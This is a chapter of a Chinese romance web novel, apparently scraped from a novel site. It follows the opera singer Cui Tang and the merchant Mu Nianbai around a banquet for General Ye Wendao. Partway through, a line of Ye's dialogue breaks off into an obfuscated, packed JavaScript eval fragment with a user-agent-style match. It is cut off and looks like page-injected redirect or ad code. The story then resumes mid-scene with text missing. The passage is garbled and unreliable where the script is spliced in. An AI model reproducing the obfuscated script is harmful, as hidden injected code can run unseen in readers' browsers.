崔棠侧过脸,大胆的用温热的嘴唇蹭着穆念白的掌心,他浑身滚烫通红,颤声道:“奴...有些冷,请三小姐为奴暖一暖身子吧。” 他战栗着,闭上眼睛,藏起水光粼粼的琥珀色眼眸,只余纤长浓黑的睫羽露在微凉的空气中,止不住地打颤。 他闭着眼睛,虔诚的信徒一样等待着穆念白的判决。 穆念白静静盯着他,眼神晦暗难明,她的指尖在崔棠漂亮的脸庞上流连,将手下的人摸得发出一阵又一阵颤栗。 片刻后穆念白微微叹一口气,眼神又变得通透精明,她转到崔棠身前,亲手为他将戏服穿戴好,然后解下自己的宽大的外衣,披在崔棠肩上。 穆念白拍了拍崔棠发顶,轻声道:“还不到那一步,至少...现在还不是时候。” 叶问道不日便要抵达扬州,有一笔能让她日进斗金的生意等着她谈,她也许能借着此次叶问道南下的机会,同那位如日中天,即将一统天下的沈王殿下搭上线。若此事能成,她就再不用再受那些虫豸一样的蠢货们了。 所以,即使崔棠这样站在自己眼前,露出大片好春光,她也不该在此时沉湎温柔乡。 崔棠仍旧紧紧闭着眼睛,只是使劲吸了吸鼻子,穆念白低下头,却看见两行清亮的泪水,顺着他通红的眼睫滑落,落在她的手上,留下一片温热濡湿。 崔棠颤抖着,哭得哽咽。 上一次他自荐枕席,穆念白眼中的厌恶嫌弃不似作伪,今日他又脱得干干净净送上门来,穆念白又将他拒之门外。 他羞愧欲死,心里酸涩难当,忍不住小声哭了出来。 “奴知道...奴卑贱之身,蒲柳之姿,自然入不得三小姐的眼睛...” “今天是奴不知轻重,求三小姐宽恕...” 他说着,就要盈盈拜倒在穆念白身前请罪。 穆念白拽着他的胳膊,一把把他拉住,揉去他眼尾潮湿的泪痕,覆在他的耳边,低声缓缓道:“只是现在还不是时候。” “待你在叶问道面前唱好这出戏...” “为我办好了这件事...” 她拍了拍崔棠的胳膊,握住他冰冷的指尖。 “我就好好给你暖一暖。” 崔棠泪眼朦胧地抬起头,穆念白的脸映入眼帘。 漂亮又无情,迷人又蛊惑。 他懵懂地点了点头。 他是不是还得...变得对穆念白更有用些才行? 21. 立功的小外室(含入v公告) 夜深风凉,崔棠穿的又单薄,穆念白特意取出一件自己的墨狐皮大氅披在崔棠肩上,崔棠拿泪盈盈的眼睛巴巴地瞅她一眼,垂下头,默不作声地裹紧了毛茸茸的氅衣。 一簇簇乌黑油亮的狐狸绒毛将崔棠小巧精致的脸庞团团围住,更衬得他白雪可爱。 穆念白心中忽然有点愧疚,这小鸟脸上的表情也太可怜,总让她忍不住反思自己是不是真的欺负他了。 她实在不想耽于私情,误了大事,但眼前的崔棠实在秀色可餐... 穆念白清了清嗓子,正欲发话挽留崔棠时,崔棠却抬起头,一双眼里柔情似水,他轻轻拉住穆念白袖口,很是善解人意道:“三小姐忙的才是大事,今日是奴有错,奴不该在这时候用这种事来打扰三小姐的。” 他轻轻侧过头,冲着穆念白温温柔柔地笑:“夜已经深了,三小姐也早些休息,您还有好多生意要谈呢。” “奴想和三小姐...来日方长。” 他一边柔声说着,一边踮起脚,试探着抱住穆念白,穆念白没有拒绝,只是在他的双臂环抱过来时,抬手搂住他的脊背,无声地回应着他。 穆念白只觉心底一片柔软酸涩,这只小鸟漂亮又可爱,温顺又识趣,今天是她辜负了他满腔的柔情。 她捏了捏崔棠的手,温声道:“我送你回去。” 小院里崔棣还记得崔棠的吩咐,没把书温完是绝对不敢上床休息的,她身上有伤,只好歪歪斜斜地坐着,屁股上长了刺一样扭来扭去。崔棣困得磕头虫一样头一点一点,险些把下巴磕在桌角上。 崔棠揉着下巴,打着哈欠站起来,打开窗户,举着烛火定定地看向门口。 哥哥还没回来,今晚...难道要在穆府留宿吗? 崔棣懊悔地低下头,使劲捶打着自己的大腿,都是因为她莽撞无能,才叫哥哥不得不委身穆念白这样冷心冷清的豪商。 她怔怔地想着,比起谨小慎微地跟在穆念白身边,日日心惊胆战,她宁愿哥哥嫁入平常人家,每天茶米油盐,虽然琐碎,但至少自由自在,全凭本心。 门外传来脚步声,崔棣吓了一跳,恍惚回神。她匆忙披上外依,打起灯笼,顶着寒风迎了出去。 崔棣满心欢喜地打开门,高兴道:“哥哥,你回来了!” 崔棣只以为是哥哥不愿意,设法摆脱了穆念白特意回来陪自己。她雀跃欢欣地打开门,映入眼帘的,却是一对如胶似漆的璧人。 崔棠体弱,不管穿得多厚,一双手总是冬日里的冰凌一样凉,穆念白发现以后便将他的一双手都轻轻拢在掌心里,用自己温热的手掌去暖崔棠的手。 穆念白轻轻拨弄着崔棠葱白一样的手指,微蹙双眉,怪罪他对自己身体的忽视。 “已经入春了,你穿了这么厚,手却还是这样凉,可见你平时对身子的疏忽到了何种地步。” 虽然是抱怨的语气,崔棠心中却熨帖极了,已经很久没有人关心过他的身体了。 穆念白继续道:“等这一阵忙完了,得把鸿医堂的陈芳请过来好好为你看一看。” 陈芳年过花甲,是扬州城里最富盛名的郎中,听说为人清高自负,千金也难请她出山。 崔棠急忙道:“奴从小就这样,没什么的事的,三小姐不用为奴费心。” 穆念白看他实在不愿,只好暂且作罢,拢着她的手放在胸前,呼出一口热气,搓着他柔软细嫩的手。 崔棣打开门出来,迎头撞上的就是穆念白捧着崔棠双手在胸前,爱惜抚摸的样子。 她咬住嘴唇,将马上就要脱口而出的一声“哥哥”挡回喉咙里,下意识地看崔棠脸上的神情。 崔棠白皙的脸颊上晕染开两朵淡粉的海棠,正垂着眼睛,专心致志地看着穆念白的手,眼中的倾慕与欢喜不似作伪。 崔棣心中一阵酸痛,她将灯笼高高举起,明亮的火光将门前一方天地照得亮堂堂的,让两个几乎要粘在一起的两人瞬间无所遁形。 崔棣面无表情,和她们打招呼:“哥哥,三小姐,你们回来了。” 崔棠像做了什么坏事一样,忙不迭将手从穆念白掌心里抽出来,有些心虚地看着崔棣。 “这么晚了,你怎么还不去休息?” 崔棣抿了抿嘴唇,暗戳戳地瞪了眼穆念白:“哥哥还没有平安回来,我不敢睡。” 崔棠无奈地揉着她的头,温声道:“三小姐是好人,我跟着她,不会有事的。” 他眼含歉意,看向穆念白:“多谢三小姐送奴回来,三小姐可要进来喝杯热茶再走?” 崔棣那双肖似兄长的美目瞪得溜圆,就差把“你快走”写脸上了,穆念白轻笑一声,这小姑娘年纪不大,气性倒不小,她懒得和一个小姑娘计较这些,崔棠既然想和她“来日方长”,那就以后再慢慢教导就是了。 崔棠拧着崔棣的耳朵把她提溜起来,横眉竖眼地威胁她:“快给三小姐行礼!你那是什么眼神!” 穆念白看着他凶神恶煞的小模样,心中忍不住轻笑,她摆了摆手,制止了崔棠:“她还小呢,以后慢慢教她就是了。” 她又仔细地叮嘱崔棠:“叶问道近日就要到了。” 崔棠闻言便紧张起来,搅着手指,坐立难安。穆念白轻声安慰他:“扬州城里没人比你唱得更好了,不必紧张,尽管放开胆子去唱便是了。” “叶将军慧眼识人,定能看出你的不凡。再者说,我就在台下坐着。” 她拍了拍崔棠肩膀,笃定道:“放心吧,一切有我呢。” 虽然又被完璧归赵了一回,但这次崔棠心中却没有第一回那样难受,他甚至隐隐在心中觉得,穆念白待他,又多了几分情谊。 他一边练功,一边抹着汗把自己心中的感觉同过来找他玩的秦可心说了,秦可心拍着手笑道:“崔哥哥,你这才叫不识庐山真面目,只缘身在此山中呢。” “你这么漂亮温柔,小意体贴,还那么知趣懂礼,没准三小姐早就想把你吃进肚里了,只是碍着叶将军马上就到扬州,不方便罢了。” 秦可心挤眉弄眼地看着他:“等和叶将军谈完,你洗干净等着三小姐来同你鸾凤和鸣吧!” 他说的有点直接,崔棠听得有些晕乎乎的,扶着旁边树干站稳了,虽然心中隐隐高兴,他还是不安地问:“真的吗?可我总觉得...” 秦可心不由分说地打断他:“什么你觉得!我要我觉得!你又没和女人谈过,你的觉得都不准的!听我的,总没错!” 崔棠这才稍微安心了一些,秦可心又看他练了一会,观察着他的脸色,忧心忡忡地问:“三小姐明日就要宴请叶将军了,可你的脸怎么老是这么红,你真的没事吗?” 崔棠擦了擦汗津津的脸颊,确实有些滚烫,他吸了吸鼻子,猜测道:“也许是因为练功出了许多汗的缘故吧,我之前也常常这样,没出过什么事的。” 他皱着眉沉思片刻,又添上一条更合理的理由:“而且我这几日,总是忍不住就想起穆念白,一想起她,我心中就很奇怪,脸也变得滚烫。” 秦可心拉长嗓音,做作地发出一声叹息:“诶呀——你这是——思春了呀——” 崔棠红着脸走到旁边练腰去了,秦可心捧着脸蹲在地上,伸出手,看着崔棠干净利落的动作,照猫画虎,照葫芦画瓢一样比比划划,在心里得意地想,等我学会了,唱给宋好文听,吓她一大跳! 第二日穆念白在穆宅设宴宴请远道而来的叶问道,天不亮崔棠就自觉爬起来,先去给崔棣煎了药,煮了粥放在灶上温着,将家里上下勤勤恳恳打扫一遍,才安心出门去穆念白府上。 穆宅的仆妇们一路将他接进临时的后台,这几天崔棠早已经和穆念白养着的这些人熟络了起来,不等他坐稳,几个小男孩就捧着一应东西迎上来,轻车熟路地为他上装换衣。 衣服自然是穆念白送他的那件,穿在身上,崔棠只觉得穆念白就站在自己身后,一双眼里,似水温柔。 司琴的师傅走过来,将今日的事仔细地叮嘱给他。 “一会三小姐先和叶将军吃酒,外面什么时候叫,咱们就什么时候上,那边有蜂蜜水,你常喝着,润润嗓子。” 崔棠点头,隔着厚重的帷幕,从缝隙中探出头去,紧张地寻找着穆念白的身影。 穆念白远远看见叶问道的车架,便带着嘉禾及一众穆府仆妇,礼仪周到地迎了出去。 叶问道昨日才到扬州,原本不欲声张,只想安静歇在驿站里,不想一晚上就有五六个身娇体软的小郎君郎君来爬他的床,偏偏一个个的都胆小如鼠,用刀一吓唬,忙不迭的就把背后的主子都供出来了。 谢家、刘家、慕容家... 扬州城里叫得出名的显贵,一个都不少,只有这个穆念白,虽然年纪轻,却是老成持重,不在这些歪门邪道上费心思。 叶问道心中就对穆念白生出几分欣赏,兼之之前同她的手下宋好文切磋过,心中对穆念白更添喜欢。 何况穆念白透露的条件也很诱人,她有马有铁,有粮食有布匹,还有一份对沈王拳拳的忠心,这正是叶问道需要的人。 因此穆念白的请帖一递过来,叶问道就答应了,并且十分重视尊重,不等穆念白邀请,就先一步自己下了车架,按住穆念白行礼作揖的手,一边同穆念白执同辈的礼节,一边笑呵呵的和穆念白寒暄。 “穆老板何必如此生分?是叶某人有求于穆老板,正等着穆老板的货物救命呢!” 穆念白暗中打量着叶问道,她已近不惑,身姿挺拔魁梧,猿臂蜂腰,眉目疏朗坚毅,一道深红色的狰狞疤痕,从左眼眉骨起,一直蔓延到她的鼻翼上。 穆念白一看,便知道她是个久于战阵的人。 叶问道虽然客气,穆念白却不敢托大,谦逊道:“扬州能有今日平稳安定,全仰仗沈王庇护,小人能有今日这份家财,也是沐浴沈王恩泽,都说滴水之恩当涌泉相报,今日有幸为沈王尽忠,正是小人的荣幸。” 叶问道一摆手,制止了她的啰嗦:“你说的这些客套话,我都听不懂,我只知道扬州城里这么商人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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叶问道却已经听得动情,双眸猩红,竟是跟着崔棠高声唱了起来。 “...有生之日责当尽,寸土怎能属于她人,番邦小丑何足论,我一剑——” 叶问道怒目圆睁,高声唱喝:“——能挡百万的兵!” 穆念白当即鼓掌叫好:“今日听叶将军一唱,方知曲中深意。” 叶问道笑了笑,安静地看着崔棠将整出戏唱完,崔棠去卸了妆,又上台来谢赏,叶问道这才看出来这英姿飒爽的穆桂英竟是个男人,正含情脉脉地看向穆念白。 她看向穆念白,忍不住问:“台上之人是谁,当真有几分穆桂英神韵。” 穆念白也觉自豪,笑道:“叫崔棠,是我的人。” 叶问道一愣,片刻后恍然,又夸道:“不愧是穆老板,养的戏子也和旁的豪商不同,别有一番气韵。” 她长呼一口气,感慨道:“待沈王问鼎,我也该像穆桂英一样,回北境去,把那些跳梁小丑赶回山里去!” 穆念白心意一动,禁不住小声问:“叶将军能不能给小人透个底,这天下,到底何时能安定下来?” 叶问道伸出一根手指:“一年之内罢,陈王虽也是天下数一数二的豪杰,温和宽仁,待下以诚,但她是打不过沈王的,且又昏招频出,竟向异族称臣换取援助,已然失了人心了。” 穆念白眯起眼睛思索起来,沈王年逾四十,平素最好征伐,即使中原已定,恐怕还要北伐异族,到时候国朝大事,恐怕还是要交给已经成年的皇女。 而沈王如今,只有两个成年的女儿——正夫王氏所出的长女,和侍君慕容氏所出的次女,二人年纪相当,不知哪一个更得沈王青睐? 叶问道看出她心中所想,眨了眨眼睛,大方向她透底:“你是个爽快人,也是个好人,我就和你透个底罢,王氏是大族所出,长女沈瑾有仕宦支持,沈王早有意,成就大事后立沈瑾为太女,监管国事。” 穆念白了然,果然如此。 酒气上头,叶问道又拍着她的肩膀,笑呵呵地暗示她:“那个刘家为非作歹,作恶多端,已经惹了沈王厌恶,你可以提前想想,想要她们家的什么了。” 刘侍君仗着有孕,顶撞正室,藐视慕容侍君,娇纵无礼,还四处请大夫,夸耀自己腹中是个女孩,以慕容氏牙呲必报的性子,岂能容得下他,岂能容得下他背后的刘家? 一场宴席,宾主尽欢,叶问道事务繁忙,华灯初上时便要离开。穆念白将她送到车架旁,叶问道很是不舍,甚至同穆念白商定好,改日一同去山中游猎。 穆念白长舒一口气,揉着肩头往回走,叶问道果然是纵横沙场多年的将军,手劲着实有些大。 但今日总算是解决了一桩心事,也和叶问道结下一段善缘,以后行走燕京,总会方便许多。 穆念白笑着,眼神逐渐变得幽深起来。 今日那只小鸟表现得十分惹眼,她要不要给他一点奖赏呢?